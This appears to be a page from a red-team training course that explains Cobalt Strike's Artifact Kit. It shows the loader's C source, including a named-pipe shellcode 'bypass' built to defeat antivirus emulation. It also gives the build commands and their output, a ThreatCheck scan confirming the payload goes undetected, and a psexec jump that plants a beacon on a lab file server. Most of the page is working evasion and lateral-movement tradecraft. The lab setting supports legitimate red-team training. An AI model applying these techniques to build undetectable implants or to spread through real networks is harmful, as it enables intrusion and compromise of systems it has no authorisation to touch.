Artifact Kit

Cobalt Strike has various flavour of EXEs and DLLs that are used within its workflows. It's common for users to not realise that these payloads work by injecting Beacon shellcode (into themselves, with the exception of the Service EXE). The Artifact Kit is designed to facilitate the development of AV-safe variants of these payloads based on the premise of loading said shellcode in a manner in which AV engines cannot emulate. It works on a system of "bypass templates" which allow you to change existing bypass strategies for reading shellcode, or implement entirely new ones.

The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.

src-main/main.c is the entry point for the EXE artifacts. It does nothing more than run a function called start and then just loops to prevent the process from closing.

#include "windows.h"

void start(HINSTANCE handle);

int main(int argc, char * argv[]) {
	start(NULL);

	/* sleep so we don't exit */
	while (TRUE)
		WaitForSingleObject(GetCurrentProcess(), 10000);

	return 0;
}

\

src-common/bypass-template.c is not a "bypass", but it serves to show how one can implement some logic inside that start function.

void start(HINSTANCE mhandle) {
	/* phear is a struct that defines how artifact.cna will patch the payload data
	   into this artifact. You're welcome to update artifact.cna to use your own
	   convention if you like. */
	phear * payload = (phear *)data;
	char * buffer;

	/* copy our encoded payload into its own buffer... necessary b/c spawn modifies it */
	buffer = (char *)malloc(payload->length);
	memcpy(buffer, payload->payload, payload->length);

	/* execute our payload */
	spawn(buffer, payload->length, payload->key);

	/* clean up after ourselves */
	free(buffer);
}

\

We can see that it grabs the payload buffer, copies it into memory, calls a spawn function and then frees the buffer. Spawn and other parts of the program can be found in patch.c and injector.c, although we don't have to go deep into modifying these for basic AV signature evasion.

One of the bypass strategies included in the kit is called bypass-pipe.

void start(HINSTANCE mhandle) {
   sprintf(pipename, "%c%c%c%c%c%c%c%c%cnetsvc\\%d", 92, 92, 46, 92, 112, 105, 112, 101, 92, (int)(GetTickCount() % 9898));

   /* start our server and our client */
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&server_thread, (LPVOID) NULL, 0, NULL);
   client_thread(NULL);
}

\

First, sprintf is used to create a pseudo-random pipe name called \\.\pipe\netsvc\X (where X is a random integer). server_thread will start a new named pipe server and copy the shellcode buffer into it. client_thread will read the shellcode from the pipe and then call those same spawn & free functions.

So, the only difference between bypass-template and bypass-pipe is that memcpy is replaced with named pipes. Although there is some scope for detecting other aspects of this specific bypass technique, such as the pipe name. That is, of course, trivial to change here.

The Artifact Kit is designed to be built on Linux via the included build.sh script. Running it without any arguments will show the usage.

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh
[Artifact kit] [+] You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] [-] Missing Parameters:
[Artifact kit] [-] Usage:
[Artifact kit] [-] ./build <techniques> <allocator> <stage> <rdll size> <include resource file> <output directory>
[Artifact kit] [-]  - Techniques       - a space separated list
[Artifact kit] [-]  - Allocator        - set how to allocate memory for the reflective loader.
[Artifact kit] [-]                       Valid values [HeapAlloc VirtualAlloc MapViewOfFile]
[Artifact kit] [-]  - Stage Size       - integer used to set the space needed for the beacon stage.
[Artifact kit] [-]                       For a 5K   RDLL stage size should be 277492 or larger
[Artifact kit] [-]                       For a 100K RDLL stage size should be 277492 or larger
[Artifact kit] [-]  - RDLL Size        - integer used to specify the RDLL size. Valid values [0, 5, 100]
[Artifact kit] [-]  - Resource File    - true or false to include the resource file
[Artifact kit] [-]  - stack spoof      - true or false to use the stack spoofing technique
[Artifact kit] [-]  - Output Directory - Destination directory to save the output
[Artifact kit] [-] Example:
[Artifact kit] [-]   ./build.sh "peek pipe readfile" HeapAlloc 361000 5 true true /tmp/dist/artifact

\

It looks a bit scary at first, but each option is explained in the help.

The "techniques" are the bypass templates that you wish to compile. You can provide just one or a space-separated list.

The "allocator" defines the API used to allocate memory for the shellcode. The out-of-the-box options are HeapAlloc, VirtualAlloc **** and MapViewOfFile. These compiler directives are in patch.c, where the spawn function has #if USE_HeapAlloc / #elif USE_VirtualAlloc / #elif USE_MapViewOfFile code blocks. If you wanted to build a custom allocation, it would be here.

"Stage size" allocates the space required for Beacon's reflective DLL loader. This loader can be modified using the User Defined Reflective Loader (UDRL) Kit (out of scope for this course). If you're using a custom loader which pushes the size over the default loader size of 5K, then you need to provide the larger stage size here.

The "RDLL Size" option is used to sanity-check the value you provided for the "stage size". For example, if you specified 271360 for the stage size, but 100 for the RDLL size, the build script will abort and tell you that 271360 is not large enough for a 100K loader. Note that the "minimum" stage size can change between CS versions.

The "resource file" allows you to build the artifact with custom metadata - there is an included resource file at src-main/resource.rc. You can modify this file to give the artifact different version numbers, product name, company name, and even an icon.

"Stack spoof" is a simple true/false option, which enables call stack spoofing whilst the Beacon is sleeping. This goes beyond the scope of this course, does not matter whether it's enabled or not for basic AV evasion.

The "output directory" is the location where you want the build artifacts to go.

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh pipe VirtualAlloc 277492 5 false false /mnt/c/Tools/cobaltstrike/artifacts
artifacts
[Artifact kit] [+] You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] [*] Using allocator: VirtualAlloc
[Artifact kit] [*] Using STAGE size: 277492
[Artifact kit] [*] Using RDLL size: 5K
[Artifact kit] [+] Artifact Kit: Building artifacts for technique: pipe
[Artifact kit] [*] Recompile artifact32.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [+] The artifacts for the bypass technique 'pipe' are saved in '/mnt/c/Tools/cobaltstrike/artifacts/pipe'

\

This will build each variant of the EXE and DLL - staged, stageless, 32, and 64-bit. It will also produce an artifact.cna file that we need to load into the Cobalt Strike UI. Go to Cobalt Strike > Script Manager > Load and select the CNA file in your output directory. Any DLL and EXE payloads that you generate from hereon will use those new artifacts. Use Payloads > Windows Stageless Generate All Payloads to replace all of your payloads in C:\Payloads.

PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.svc.exe
[+] No threat found!
[*] Run time: 1.07s

\

We can now PsExec to the file server.

beacon> jump psexec64 fs.dev.cyberbotic.io smb
Started service 96126c2 on fs.dev.cyberbotic.io

[+] established link to child beacon: 10.10.122.15

\

To revert back to the default payloads, unload the script from the Script Manager (and in my experience, close and re-open the UI).

Last updated